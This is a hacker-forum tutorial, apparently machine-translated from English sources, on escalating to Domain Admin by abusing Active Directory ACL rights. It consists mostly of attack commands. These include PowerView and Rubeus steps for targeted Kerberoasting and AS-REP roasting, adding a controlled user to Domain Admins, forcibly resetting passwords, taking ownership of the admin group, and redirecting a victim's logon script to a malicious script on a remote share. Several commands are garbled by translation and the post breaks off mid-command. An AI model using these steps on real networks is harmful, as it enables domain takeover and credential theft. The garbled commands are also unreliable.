跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

内网活动目录利用方法

精选回复

发布于

滥用 Active Directory ACL\ACE 权限

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse

https://www.cnblogs.com/nice0e3/p/15879624.html

DACL和ACE是与访问控制相关的概念,常用于操作系统和网络环境中。以下是它们的详细解释:

DACL(Discretionary Access Control List):DACL是一个访问控制列表,用于确定谁可以访问特定对象(如文件、文件夹、注册表项等)。 DACL 是访问控制条目(ACE) 形式的列表。 ACE(访问控制条目):ACE是DACL中的基本单元,用于授予或拒绝对对象的访问。每个ACE 定义一个安全主体(例如用户、组、计算机等)以及安全主体拥有的权限。在DACL中,每个ACE包含以下信息:

安全主体(SID):标识被授予或拒绝访问的用户、组或计算机的唯一标识符。访问权限:表示特定的操作或权限(如读、写、执行等)。访问掩码:指定授予或拒绝的实际权限。可访问性掩码:在某些情况下用于指定附加条件或限制。访问对象时,系统将根据DACL中的ACE进行身份验证。如果存在与用户身份匹配的ACE,并且ACE 授予所请求的权限,则将允许访问。如果没有匹配的ACE,或者存在与用户身份匹配但拒绝请求的权限的ACE,则访问将被拒绝。

域管理员的ACE 如下

iw1r4gdg2rj1225.png

其中,我们关心的权限如下:

GenericAll- 对象的全部权限(将用户添加到组或重置用户密码)GenericWrite- 更新对象的属性(即登录脚本)WriteOwner- 将对象所有者更改为攻击者控制的用户接管对象WriteDACL- 修改对象的ACE 并给予攻击者对该对象的完全控制权AllExtendedRights- 能够将用户添加到组或重置密码ForceChangePassword- 能够更改用户密码Self (自我成员身份)- 将自己添加到组的能力GenericAll - 对对象的完全权限(例如将用户添加到组或重置用户的密码)。 GenericWrite - 更新对象的属性(例如登录脚本)。 WriteOwner - 将对象的所有者修改为攻击者控制的用户,从而接管该对象。 WriteDACL - 修改对象的ACE 并使攻击者能够完全控制该对象。 AllExtendedRights - 能够将用户添加到组或重置密码。 ForceChangePassword - 能够更改用户的密码。自我(自我成员资格)- 能够将自己添加到群组中。 Self-Membership - 该权限是指帐户将自己添加到某个组的权限(需要在某个组的高级权限中添加ACE,即针对组对象)。换句话说,某个对象在某个组中具有“自我成员”状态。

通用所有

通用用户帐户的所有权限

使用PowerView工具查看用户的GenericAll权限。

powershell -exec 绕过

导入模块.\PowerView.ps1

//获取用户man1的AD对象的访问控制列表(ACL),并过滤返回具有“GenericAll”权限的项目

Get-ObjectAcl -SamAccountName man1 -ResolveGUIDs | Get-ObjectAcl -SamAccountName man1 -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq 'GenericAll'}

可以看到spotless用户对delegate拥有GenericAll权限,所以获得spotless用户权限后,我们就可以接管delegate用户了。

slrbl0v2aik1226.png

**修改密码:**直接修改委托用户的密码即可。网络用户用户名密码/域

**Kerberoasting攻击:**为委托用户设置SPN,然后通过spotless用户的TGT请求所有服务的ST,获取委托用户的HASH加密的ST,并进行破解。 # 设置SPN

Set-DomainObject -Credential $creds -Identity 用户名-Set @{serviceprincipalname='fake/NOTHING'}

#GetHash

.\Rubeus.exe kerberoast /user:用户名/nowrap

#CleanSPN

Set-DomainObject -Credential $creds -Identity 用户名-Clear serviceprincipalname -Verbose

https://github.com/ShutdownRepo/targetedKerberoast

python3 TargetedKerberoast.py -domain.local -u 用户名-p 密码-v

**ASREProast 攻击:** 通过禁用预身份验证,可以使用户成为ASREPRoastable,然后使其遭受ASREProast 攻击。 Set-DomainObject -Identity 用户名-XOR @{UserAccountControl=4194304}

用户组的通用所有权限

//获取domain admins组的distinguishedName值

Get-NetGroup '域管理员'

swb1b150wjk1227.png

//获取Domain Admins组的ACL

获取-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq ' CN=域管理员,CN=用户,DC=vvvv1,DC=com'}

uketq3fpvpj1228.png

发现该spotless用户拥有Domain Admins组的GenericAll权限,可以进行攻击。

将您自己(用户一尘不染)或其他用户添加到域管理员组。

网络组“域管理员”一尘不染/添加/域

攻击还可以使用Active Directory 或PowerSploit 模块进行。

# 带有活动目录模块

Add-ADGroupMember -Identity 'domain admins' -Members 一尘不染

# 使用Powersploit

添加-NetGroupUser -用户名Spotless -GroupName 'domain admins' -Domain 'offense.local'

通用计算机帐户或服务帐户的所有权限

如果您对计算机帐户或服务帐户具有GenericAll 权限或GenericWrite 权限,则可以考虑使用基于资源的约束委派攻击。详情请参见《内网横向移动-基于资源的约束委派》。对于服务账户,还可以考虑上述对用户账户的攻击方式;或使用影子凭证进行攻击;影子凭证https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials

https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab

http://www.hackdig.com/02/hack-599160.htm

https://shenaniganslabs.io/2019/01/28/摇摆狗.html

写入属性

用户组的WriteProperty权限

我们的受控用户对域管理员组具有WriteProperty 权限。

fe4kallhjrg1229.png

您可以将此用户添加到域管理员组以提升权限。

powershell -exec 绕过

导入模块.\PowerView.ps1

添加-NetGroupUser -用户名用户-GroupName '域管理员' -域'vvvv1.com'

自我(自我会员资格)

用户组的自我(自我会员)权限

我们的受控用户拥有域管理员组的自我(自我成员资格)权限。

wieepcitjp41230.png

该权限也是将用户添加到组的权限。可以将用户添加到域管理员组以增加权限。

powershell -exec 绕过

导入模块.\PowerView.ps1

添加-NetGroupUser -用户名用户-GroupName '域管理员' -域'vvvv1.com'

“WriteProperty(Self-Membership)”和“Self(Self-Membership)”都是与自我成员资格(Self-Membership)相关的属性,但它们的含义不同。

'WriteProperty (Self-Membership)': 此属性指示对象可以写入(修改)其自己的属性。通常,对象只能修改其他对象的属性,而不能直接修改自己的属性。但是当设置了“WriteProperty(Self-Membership)”属性时,对象可以修改自己的属性。 'Self (Self-Membership)': 此属性指示对象本身是其组或集合的成员。它与“WriteProperty(自我成员资格)”属性不同。 “Self(Self-Membership)”属性表明该对象本身是其自己的组或集合的成员,而“WriteProperty(Self-Membership)”属性表明该对象具有修改其自身属性的权限。总结:也就是说,如果对象类型不是ALL,而是Self-Membership,则说明我们查询的用户对象属于这个用户组。 ‘WriteProperty(Self-Membership)’属性赋予对象修改自身属性的权限,并且可以将对象添加到组中; 'Self(Self-Membership)'属性表示该对象本身是其组或集合的成员,并且该对象也可以被添加到该组中。

WriteProperty(自我成员资格)

用户组的WriteProperty(自我成员资格)权限

我们的受控用户对域管理员组具有WriteProperty(自我成员资格)权限。

获取-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq 'CN=域管理员、CN=用户、DC=进攻、DC=本地' - 和$_.IdentityReference -eq 'OFFENSE\spotless'}

lybakc1nn0a1231.png

该权限也是将用户添加到组的权限。可以将用户添加到域管理员组以增加权限。

网络组“域管理员”一尘不染/添加/域

“WriteProperty(Self-Membership)”和“Self(Self-Membership)”都是与自我成员资格(Self-Membership)相关的属性,但它们的含义不同。

'WriteProperty (Self-Membership)': 此属性指示对象可以写入(修改)其自己的属性。通常,对象只能修改其他对象的属性,而不能直接修改自己的属性。但是当设置了“WriteProperty(Self-Membership)”属性时,对象可以修改自己的属性。 'Self (Self-Membership)': 此属性指示对象本身是其组或集合的成员。它与“WriteProperty(自我成员资格)”属性不同。 “Self(Self-Membership)”属性表明该对象本身是其自己的组或集合的成员,而“WriteProperty(Self-Membership)”属性表明该对象具有修改其自身属性的权限。总结:也就是说,如果对象类型不是ALL,而是Self-Membership,则说明我们查询的用户对象属于这个用户组。 ‘WriteProperty(Self-Membership)’属性赋予对象修改自身属性的权限,并且可以将对象添加到组中; 'Self(Self-Membership)'属性表示该对象本身是其组或集合的成员,并且该对象也可以被添加到该组中。

强制更改密码

用户帐户的 ForceChangePassword 权限

如果我们控制的帐户在目标帐户的ACL 中具有“User-Force-Change-Password”对象类型,并且具有“ExtendedRight”权限,那么我们可以在不知道用户当前密码的情况下重置用户的密码。

powershell -exec 绕过

导入模块.\PowerView.ps1

Get-ObjectAcl -SamAccountName 委托-ResolveGUIDs | ? {$_.IdentityReference -eq 'OFFENSE\spotless'}

e0uf5fyf0cb1232.png

使用PowerView工具修改密码。

Set-DomainUserPassword -Identity delegate -Verbose

dj3bjux0ugu1233.png

或者使用下面的语句

$c=获取凭证

Set-DomainUserPassword -Identity delegate -AccountPassword $c.Password -Verbose

或者总结成一行语句

Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

vmddbedj5b51234.png

写入所有者

用户组的WriteOwner权限

在攻击之前,域管理员组Domain Admins 属于Domain Admins。

5tfzxubhzy31235.png

枚举组的ACE 后,如果我们发现我们控制下的用户一尘不染地具有“WriteOwner”权限,并且该权限适用于“ObjectType:All”,那么我们可以修改该组的所有者。

获取-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq 'CN=域管理员、CN=用户、DC=进攻、DC=本地' - 和$_.IdentityReference -eq 'OFFENSE\spotless'}

20zf1pfcgor1236.png

我们可以将“域管理员”对象的所有者更改为我们的用户,在我们的例子中是“一尘不染”的。请注意,使用“-Identity”指定的SID 是“Domain Admins”组的SID。

Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity 'spotless' -Verbose

//您也可以使用SID的名称(HTB: Reel)

Set-DomainObjectOwner -Identity '域管理员' -OwnerIdentity 'spotless'

通用写入

GenericWrite 也在访问掩码中被识别。该权限可以更新目标对象的属性值。您可以使用PowerView 中的Set-DomainObject 方法来设置目标属性的值。

用户帐户的 GenericWrite 权限

Get-ObjectAcl -ResolveGUIDs -SamAccountName 委托| ? {$_.IdentityReference -eq 'OFFENSE\spotless'}

受控用户Spotless 对另一个用户委托具有“WriteProperty”权限,并且此权限适用于“Script-Path”对象类型。它允许攻击者覆盖委托用户的登录脚本路径,这意味着下次委托用户登录时,他们的系统将执行我们的恶意脚本。

ku4kgizjdyd1237.png

Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue '\\10.0.0.5\totallyLegitScript.ps1'

可以看到AD中委托用户的登录脚本字段已更新。

2nnobxmubc31238.png

用户组的GenericWrite权限

允许您添加新用户(例如您自己)作为组成员。与上面《GenericAll-对用户组的GenericAll权限》的操作类似。

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse

#创建信用

$pwd=ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force

$creds=New-Object System.Management.Automation.PSCredential('DOMAIN\用户名', $pwd)

#将用户添加到组中

Add-DomainGroupMember -Credential $creds -Identity '组名称' -Members '用户名' -Verbose

# 检查用户是否已添加

获取DomainGroupMe

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。